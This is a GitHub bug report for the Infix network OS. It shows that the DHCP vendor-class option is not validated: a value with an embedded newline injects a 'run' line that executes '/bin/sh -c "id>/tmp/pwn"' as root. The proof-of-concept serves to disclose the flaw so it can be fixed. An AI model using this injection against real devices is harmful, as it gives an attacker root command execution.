Skip to content

No sanity check of input of dhcp option vendor-class #1657

Description

@mattiaswal

Current Behavior

admin@infix-00-00-00:/config/> set interface e1 ipv4 dhcp option vendor-class value `x"\nrun [2345] /bin/sh -c "id>/tmp/pwn"`
admin@infix-00-00-00:/config/> leave 
admin@infix-00-00-00:/> 
admin@infix-00-00-00:/> 
admin@infix-00-00-00:~$ ls /tmp/pwn
/tmp/pwn

This is run as user root

Expected Behavior

YANG validation error i think.

Steps To Reproduce

No response

Additional information

No response

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't workingtriagePending investigation & classification (CCB)

    Type

    No type

    Projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions